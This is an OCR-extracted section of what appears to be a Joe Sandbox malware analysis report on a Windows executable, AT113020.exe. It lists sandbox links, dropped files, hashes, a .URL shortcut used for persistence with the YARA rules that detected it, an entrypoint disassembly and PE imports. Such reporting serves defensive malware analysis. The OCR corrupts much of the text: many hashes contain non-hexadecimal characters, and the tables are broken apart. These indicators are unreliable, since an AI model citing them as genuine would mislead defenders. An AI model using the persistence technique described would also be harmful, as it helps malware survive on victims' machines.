https://view.joesandbox.com/analysis/244568/html/none?idtype=webid
https://view.joesandbox.com/analysis/244537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244537/html/none?idtype=webid
https://view.joesandbox.com/analysis/244148/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244148/html/none?idtype=webid
https://view.joesandbox.com/analysis/244100/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244100/html/none?idtype=webid
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6.187
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8.142
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68.183.89.248

167.172.21
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https://view.joesandbox.com/analysis/243942/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243942/html/none?idtype=webid
https://view.joesandbox.com/analysis/243841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243841/html/none?idtype=webid
https://view.joesandbox.com/analysis/243420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243420/html/none?idtype=webid
https://view.joesandbox.com/analysis/243342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243342/html/none?idtype=webid
https://view.joesandbox.com/analysis/243333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243333/html/none?idtype=webid
https://view.joesandbox.com/analysis/243332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243332/html/none?idtype=webid
https://view.joesandbox.com/analysis/243330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243330/html/none?idtype=webid
https://view.joesandbox.com/analysis/243329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243329/html/none?idtype=webid
https://view.joesandbox.com/analysis/243319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243319/html/none?idtype=webid
https://view.joesandbox.com/analysis/243316/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243316/html/none?idtype=webid
https://view.joesandbox.com/analysis/243284/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243284/html/none?idtype=webid
https://view.joesandbox.com/analysis/243250/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243250/html/none?idtype=webid
https://view.joesandbox.com/analysis/243182/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243182/html/none?idtype=webid
https://view.joesandbox.com/analysis/244761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244761/html/none?idtype=webid
https://view.joesandbox.com/analysis/244658/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244658/html/none?idtype=webid
https://view.joesandbox.com/analysis/244653/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244653/html/none?idtype=webid
https://view.joesandbox.com/analysis/244547/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244547/html/none?idtype=webid
https://view.joesandbox.com/analysis/244523/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244523/html/none?idtype=webid
https://view.joesandbox.com/analysis/244517/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244517/html/none?idtype=webid
https://view.joesandbox.com/analysis/244487/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244487/html/none?idtype=webid
https://view.joesandbox.com/analysis/244442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244442/html/none?idtype=webid
https://view.joesandbox.com/analysis/244427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244427/html/none?idtype=webid
https://view.joesandbox.com/analysis/244401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244401/html/none?idtype=webid
https://view.joesandbox.com/analysis/244328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244328/html/none?idtype=webid
https://view.joesandbox.com/analysis/243775/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243775/html/none?idtype=webid
https://view.joesandbox.com/analysis/243484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243484/html/none?idtype=webid
https://view.joesandbox.com/analysis/243385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243385/html/none?idtype=webid
https://view.joesandbox.com/analysis/243354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243354/html/none?idtype=webid
https://view.joesandbox.com/analysis/243326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243326/html/none?idtype=webid
https://view.joesandbox.com/analysis/243241/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243241/html/none?idtype=webid
https://view.joesandbox.com/analysis/243237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243237/html/none?idtype=webid
https://view.joesandbox.com/analysis/243204/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243204/html/none?idtype=webid
https://view.joesandbox.com/analysis/243045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243045/html/none?idtype=webid
https://view.joesandbox.com/analysis/244824/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244824/html/none?idtype=webid
https://view.joesandbox.com/analysis/244820/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244820/html/none?idtype=webid
https://view.joesandbox.com/analysis/244810/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244810/html/none?idtype=webid
https://view.joesandbox.com/analysis/244800/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244800/html/none?idtype=webid
https://view.joesandbox.com/analysis/244797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244797/html/none?idtype=webid
https://view.joesandbox.com/analysis/244796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244796/html/none?idtype=webid
https://view.joesandbox.com/analysis/244795/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244795/html/none?idtype=webid
https://view.joesandbox.com/analysis/244782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244782/html/none?idtype=webid
https://view.joesandbox.com/analysis/244780/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244780/html/none?idtype=webid
https://view.joesandbox.com/analysis/244774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244774/html/none?idtype=webid
https://view.joesandbox.com/analysis/244762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244762/html/none?idtype=webid
https://view.joesandbox.com/analysis/244761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244761/html/none?idtype=webid
https://view.joesandbox.com/analysis/244759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244759/html/none?idtype=webid
https://view.joesandbox.com/analysis/244751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244751/html/none?idtype=webid
https://view.joesandbox.com/analysis/244747/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244747/html/none?idtype=webid
https://view.joesandbox.com/analysis/244731/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244731/html/none?idtype=webid
https://view.joesandbox.com/analysis/244728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244728/html/none?idtype=webid
https://view.joesandbox.com/analysis/244723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244723/html/none?idtype=webid
https://view.joesandbox.com/analysis/244720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244720/html/none?idtype=webid
https://view.joesandbox.com/analysis/244703/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244703/html/none?idtype=webid
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Malicious:
Antivirus:
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Copyright null 2020

C:\Users\user\Desktop\AT113020.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

1375232

6.376827918170696

false
24576:/6HfVuY8FoR6ScMtNVHOMOXCALItFvDgIFpc5SMEfsvvH:/6HVBFHMOXCALItFvDpFpcBfsX
8477C9B80B4B7796F904EC72ABESFF71
EDF1C7DAED8B5922F727170D9BD51BB0O0FAE2538
772DEC92F8AD84F499FBAF384A618C5208E1D5882D753F99AEB396059FFB4F1C

D081EOAC469B5CEB8C6BA3D75979F08BFC8CC49A02489AA2DEB35829E8955F4428F7E41D044AE246DAB234C29D46F652B6C6DEA2938FCO5AAB2977A96584BC

FB
true
e Antivirus: ReversingLabs, Detection: 43%
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https://view.joesandbox.com/analysis/244805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244805/html/none?idtype=webid
https://view.joesandbox.com/analysis/244796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244796/html/none?idtype=webid
https://view.joesandbox.com/analysis/244780/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244780/html/none?idtype=webid
https://view.joesandbox.com/analysis/244778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244778/html/none?idtype=webid
https://view.joesandbox.com/analysis/244759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244759/html/none?idtype=webid
https://view.joesandbox.com/analysis/244687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244687/html/none?idtype=webid
https://view.joesandbox.com/analysis/244665/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244665/html/none?idtype=webid
https://view.joesandbox.com/analysis/244660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244660/html/none?idtype=webid
https://view.joesandbox.com/analysis/244653/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244653/html/none?idtype=webid
https://view.joesandbox.com/analysis/244652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244652/html/none?idtype=webid
https://view.joesandbox.com/analysis/244650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244650/html/none?idtype=webid
https://view.joesandbox.com/analysis/244635/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244635/html/none?idtype=webid
https://view.joesandbox.com/analysis/244634/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244634/html/none?idtype=webid
https://view.joesandbox.com/analysis/244595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244595/html/none?idtype=webid
https://view.joesandbox.com/analysis/244592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244592/html/none?idtype=webid
https://view.joesandbox.com/analysis/244584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244584/html/none?idtype=webid
https://view.joesandbox.com/analysis/244582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244582/html/none?idtype=webid
https://view.joesandbox.com/analysis/244580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244580/html/none?idtype=webid
https://view.joesandbox.com/analysis/244569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244569/html/none?idtype=webid
https://view.joesandbox.com/analysis/244568/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244568/html/none?idtype=webid

Preview:
MzP @ 1..L.1.This program must be run under Win32..$7

.@..@.reloc...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\Accfcxz[1]

Process: C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 740352

Entropy (8bit): 3.9876350854600338

Encrypted: false

SSDEEP: 12288:q60TO0I8RWIXjlxjg7I0Nf1Z8H770BZTtoMw66yrd4S6vIB6U/:gXTHXjPgPM7w6MSytey/
MD5: 739D33BE50F70F51A099001C64AFF261

SHAL: BEC90E065E556B86DE081E6F2CB4BA09DFBB6402

SHA-256: 97A8E5DF35B9C51DA0ABI86A7898590C0BDB8CC8619B04272D5BCIAD04533780
SHA-512: BEE662D31B0A802FAA42E76215783B513995125C88D0A2F097476A501244FDB26211A2B97F6CO9EBFC5A00045F53E27ABFIF25830387AD2E4326634A8E48C341A
Malicious: false

Reputation: low
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9387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d4930393
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PEJLKQA8\Accfcxz[1]

Process: C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 740352

Entropy (8bit): 3.9876350854600338

Encrypted: false

SSDEEP: 12288:q60TO0I8RWIXjIxjg7I0Nf1Z8H770BZTtoMw66yrd4S6vIB6U/:gXTHXjPgPM7w6MSytey/
MD5: 739D33BE50F70F51A099001C64AFF261

SHAL: BEC90E065E556B86DE081E6F2CB4BA09DFBB6402

SHA-256: 97A8E5DF35BI9C51DA0ABI86A7898590C0BDB8CC8619B04272D5BCIAD04533780
SHA-512: BEE662D31B0A802FAA42E76215783B513995125C88D0A2F097476A501244FDB26211A2B97F6COEBFC5A00045F53E27ABFIF25830387AD2E4326634A8E48C341A
Malicious: false

Reputation: low
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039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d49303
9387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d4930393
87157534d493039387157534d493039387157534d493039387157534d493039387157534d4930393871575340d493039387157534d493039387157534d493039387
157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d4930393871575340d49303938715
7534d493039387157534d493039387157534d493039387157534d493039387157534d493039387157534d49303

Process: C:\Windows\SysWOW64\cmd.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MXODOHSFINUfAIGUGYFONSs8LKVUfIKVYJ7hU:pBCJyC2V8MZyFI8BAIG4oNFeymw
MD5: 81DB1710BB13DA3343FCODFIF00BE49F

SHAL: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious: true

Reputation: moderate, very likely benign file
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Preview:

SQLite format 3.

C:\Users\user\AppDatal\Local\fccA.url

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

Reputation:

Preview:

C:\Users\user\Desktop\AT113020.exe

MS Windows 95 Internet shortcut text (URL=<file:\\C:\\Users\\user\\AppData\\Local\\Microsoft\Windows\\Accfdrv.exe>), ASCII text, with CRLF line terminators
dropped

170

5.103586606959122

false

3:HRADABGQYmHmMEX+aJp6/h4EkD50ef5yaKZYX4NvQJ50ntCBuXV9k/qIH19Yxv:HRYFVmcaJ0/hJkDIR9QYX4NvQJI50tZF9
71A8BF7EFEC27A28D07F2BD1C28937C1

1664A23F23C7A20E167CE677D28EED10A4535862

8139AC4B532B1A7287EBD177199466455FAEODESE75AC81106ADD1008AA35CA4

0614BEOOE7F531E3B47D2B5F7E1F2F651AAB9EB2B6A41E644FFB81EDSACG6FAF8CBFBD556CBA33E49D20F3048A17D11608B5D5E23F9A922ACD401A38025F13B
7

false

e Rule: Methodology_Shortcut_HotKey, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\AppData\Local\fccA.url, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source:
C:\Users\user\AppData\Local\fccA.url, Author: @itsreallynick (Nick Carr)

e Rule: Methodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICO, Description: Detects possible shortcut usage for .URL persistence, Source:
C:\Users\user\AppData\Local\fccA.url, Author: @itsreallynick (Nick Carr)

low

[InternetShortcut].. URL=file:\\C:\\Users\\user\\AppData\\Local\\Microsoft\Windows\\Accfdrv.exe..Iconindex=1..IconFile=.url..Modified=20F06BA06D07BD014D..HotKe
y=1601..

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Y
g—

Icon Hash:

PE32 executable (GUI) Intel 80386, for MS Windows
6.376827918170696

e Win32 Executable (generic) a (10002005/4)
99.81%

Windows Screen Saver (13104/52) 0.13%
Win16/32 Executable Delphi generic (2074/23)
0.02%

Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%

AT113020.exe

1375232

8477c9b80b4b7796f904ec72abesff71
edflc7daed8b5922f727170d9bd51bb00fae2538

772dec92f8ad84f499fbaf384a618c5208e1d5882d753f99
aeb396059ffb4flc

d081e0ac469b5ceb8c6ba3d75979f08bfc8cc49a02489aa
2deb35829e8955f4428f7e41d044ae246dab234c29d46f6
52b6c6dea2938fc05aab2977a96584bcfh

24576:/6HfVuY8FoR6ScMtNVHOMOXCALItFvDgIFpc5M
EfsvwH:/6HV8FHMOXCALItFvDpFpcBfsX

L.l

b2b8aca6a6bad66a

Static PE Info
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General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

push ebp

mov ebp, esp

add esp, FFFFFFFOh

mov eax, 0048C258h

call 00007FAD30DC3691h

add ecx, eax

mov eax, dword ptr [00490A48h]
mov eax, dword ptr [eax]

call 00007FAD30E2947Bh

mov eax, dword ptr [00490A48h]
mov eax, dword ptr [eax]

mov edx, 0048D888h

call 00007FAD30E28F02h

mov ecx, dword ptr [00490B7Ch]
mov eax, dword ptr [00490A48h]
mov eax, dword ptr [eax]

mov edx, dword ptr [0048BA54h]
call 00007FAD30E2946Ah

mov eax, dword ptr [00490B7Ch]
mov eax, dword ptr [eax]

xor edx, edx

call 00007FAD30E2166Ch

mov eax, dword ptr [00490A48h]
mov eax, dword ptr [eax]

mov byte ptr [eax+5Bh], 00000000h
mov eax, dword ptr [00490A48h]
mov eax, dword ptr [eax]

call 00007FAD30E294C5h

call 00007FAD30DC12B4h

add byte ptr [eax], al

add bh, bh

Data Directories

Name Virtual Address
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT 0x95000
IMAGE_DIRECTORY_ENTRY_RESOURCE 0xa5000
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x9a000
IMAGE_DIRECTORY_ENTRY_DEBUG 0x0

Copyright null 2020

0x48d80c
.itext

false
0x400000
windows gui

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO,
EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, LINE_NUMS_STRIPPED,
BYTES_REVERSED_HI

O0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]

o & O b O »

eel3d52daaec6dc411f5861456050150

Virtual Size Is in Section
0x0

0x2d00 .idata
0xb3400 .rsrc

0x0

0x0

0xa298 .reloc

0x0
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Name

IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address Virtual Size Raw Size
text 0x1000 0x8b4d0 0x8b600
.itext 0x8d000 0x890 0xa00
.data 0x8e000 0x2c28 0x2e00
.bss 0x91000 Ox3aec 0x0
.idata 0x95000 0x2d00 0x2e00
Als 0x98000 0x40 0x0
.rdata 0x99000 0x18 0x200
.reloc 0x9a000 0xa298 0xa400
.rsrc 0xa5000 0xb3400 0xb3400
Resources

Name RVA
RT_CURSOR Oxa5cce
RT_CURSOR Oxa5e00
RT_CURSOR 0xa5f34
RT_CURSOR 0xa6068
RT_CURSOR 0Oxa619c
RT_CURSOR 0xa62d0
RT_CURSOR 0xa6404
RT_BITMAP 0xa6538
RT_BITMAP 0xa6708
RT_BITMAP Oxa68ec
RT_BITMAP Oxa6abc
RT_BITMAP Oxa6c8c
RT_BITMAP Oxa6e5c
RT_BITMAP Oxa702c
RT_BITMAP Oxa71lfc
RT_BITMAP Oxa73cc
RT_BITMAP Oxa759c
RT_BITMAP Oxa776¢
RT_ICON Oxa7854
RT_ICON 0xa88fc
RT_ICON Oxaaead
RT_DIALOG Oxb5e4c
RT_DIALOG Oxb5ea0
RT_STRING Oxb5ef4
RT_STRING 0xb6220
RT_STRING 0xb672c
RT_STRING 0xb694c
RT_STRING 0Oxb6a04
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Virtual Address Virtual Size Is in Section
0x0 0x0
0x0 0x0
0x99000 0x18 .rdata
0x0 0x0
0x0 0x0
0x9588¢ ox6fc .idata
0x0 0x0
0x0 0x0
0x0 0x0
Xored PE ZLIB Complexity File Type Entropy Characteristics
False 0.512060327915 data 6.51686998053 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
False 0.542578125 data 5.65747203193 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
False 0.369310461957 data 4.23461147308 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
False 0 empty 0.0 IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
False 0.314198369565 data 494383129414 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
False 0 empty 0.0 IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
False 0.05078125 data 0.210826267787 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ
False 0.537371379573 data 6.6204195336 IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ
False 0.386427279463 data 5.68016245197 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ
Size Type Language Country
0x134 data English United States
0x134 data English United States
0x134 data English United States
0x134 data English United States
0x134 data English United States
0x134 data English United States
0x134 data English United States
0x1d0 data English United States
Oxled data English United States
0x1d0 data English United States
0x1do data English United States
0x1do data English United States
0x1do data English United States
0x1do data English United States
0x1do data English United States
0x1do data English United States
0x1do data English United States
0Oxe8 GLS_BINARY_LSB_FIRST English United States
0x10a8 data English United States
0x25a8 data English United States
Oxafa8 data English United States
0x52 data
0x52 data
0x32c data
0x50c data
0x220 data
0xb8 data
0xf8 data
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Name
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_RCDATA
RT_RCDATA
RT_RCDATA
RT_RCDATA
RT_RCDATA
RT_RCDATA
RT_RCDATA
RT_RCDATA
RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_ICON
RT_MANIFEST

Imports

DLL
oleaut32.dll
advapi32.dll
user32.dll
kernel32.dll

kernel32.dll
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RVA
Oxb6afc
0xb6d28
0xb7124
0xb745c¢
0xb77e4
0xb7bd4
0xb7d64
0xb7e30
Oxb7ff4
0xb83bc
0xb86f4
0xb8988
0xb8998
0xb8cf0
0xbdf68
0xe273c
0xfb490
0x12c2d4
0x12c3f8
0x157944

0x157958

0x15796¢

0x157980

0x157994

0x1579a8

0x1579bc

0x1579d0
0x157a00

Size
0x22¢c
0x3fc
0x338
0x388
0x3f0
0x190
Oxcc
Ox1lc4
0x3c8
0x338
0x294
0x10
0x358
0x5276
0x247d1
0x18d54
0x30e43
0x123
0x2b54c
0x14

0x14

0x14

0x14

0x14

0x14

0x14

0x30
0x865

Import

Type

data

data

data

data

data

data

data

data

data

data

data

data

data

Delphi compiled form 'TForm1'
Delphi compiled form 'TForm2'
Delphi compiled form 'TForm3'
Delphi compiled form 'TForm4'
Delphi compiled form 'TForm5'
GIF image data, version 89a, 634 x 207

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

data

XML 1.0 document, UTF-8 Unicode (with BOM)
text, with very long lines, with CRLF line
terminators

SysFreeString, SysReAllocStringLen, SysAllocStringLen

RegQueryValueExA, RegOpenKeyExA, RegCloseKey

Language

English
English

English

English

English

English

English

English

English
English

GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA

Country

United States
United States

United States

United States

United States

United States

United States

United States

United States
United States

GetACP, Sleep, VirtualFree, VirtualAlloc, GetTickCount, QueryPerformanceCounter, GetCurrentThreadld,
InterlockedDecrement, Interlockedincrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, IstrlenA, IstrcpynA,
LoadLibraryExA, GetThreadLocale, GetStartupinfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA,
GetLocalelnfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile,
UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle

TlsSetValue, TIsGetValue, LocalAlloc, GetModuleHandleA

Page 34 of 97



DLL
user32.dll

gdiz2.dll

version.dll

kernel32.dll

advapi32.dll
oleaut32.dll
ole32.dll

kernel32.dll
oleaut32.dll

comctl32.dll

winspool.drv
comdlg32.dll
oleacc.dll

winmm.dll
Possible Origin

Language of compilation system

English

Network Behavior

Copyright null 2020

Import

CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEX,
TranslateM ge, TranslateMDISysAccel, TrackPopupMenu, SystemParametersinfoA, ShowWindow, ShowScrollBar,
ShowOwnedPopups, ShowCaret, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement,
SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollinfo, SetRect, SetPropA, SetParent,
SetMenulteminfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture,
SetActiveWindow, SendMessageW, SendMessageA, SendDlIgltemMessageA, ScrollWindow, ScreenToClient,
RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA,
RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA,
OpenClipboard, OffsetRect, OemToCharA, NotifyWinEvent, MessageBoxA, MessageBeep, MapWindowPoints,
MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadlconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed,
IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, Islconic, IsDialogMessageW,
IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenultemA, InsertMenuA, InflateRect, HideCaret,
GetWindowThreadProcessld, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW,
GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor,
GetSubMenu, GetScrollRange, GetScrollPos, GetScrollinfo, GetPropA, GetParent, GetWindow, GetMessagePos,
GetMenuStringA, GetMenuState, GetMenultemInfoA, GetMenultemID, GetMenultemCount, GetMenu, GetLastActivePopup,
GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState,
GetKeyNameTextA, GetlconInfo, GetForegroundWindow, GetFocus, GetDlgltem, GetDesktopWindow, GetDCEXx, GetDC,
GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture,
GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows,
EnumChildWindows, EndPaint, EndDeferWindowPos, EnableWindow, EnableScrollBar, EnableMenultem, EmptyClipboard,
DrawTextA, DrawStateA, DrawMenuBar, DrawlconEx, Drawlcon, DrawFrameControl, DrawFocusRect, DrawEdge,
DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, Destroylcon, DestroyCursor, DeleteMenu,
DeferWindowPos, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, Createlcon,
CloseClipboard, ClientToScreen, CheckMenultem, CallWindowProcA, CallNextHookEXx, BeginPaint, BeginDeferWindowPos,
CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout

UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode,
SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette,
SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon,
PlayEnhMetaFile, PatBIt, MoveToEx, MaskBlIt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits,
GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetTextAlign, GetSystemPaletteEntries, GetStockObject,
GetRgnBox, GetROP2, GetPolyFillMode, GetPixelFormat, GetPixel, GetPaletteEntries, GetObjectA, GetMapMode,
GetGraphicsMode, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits,
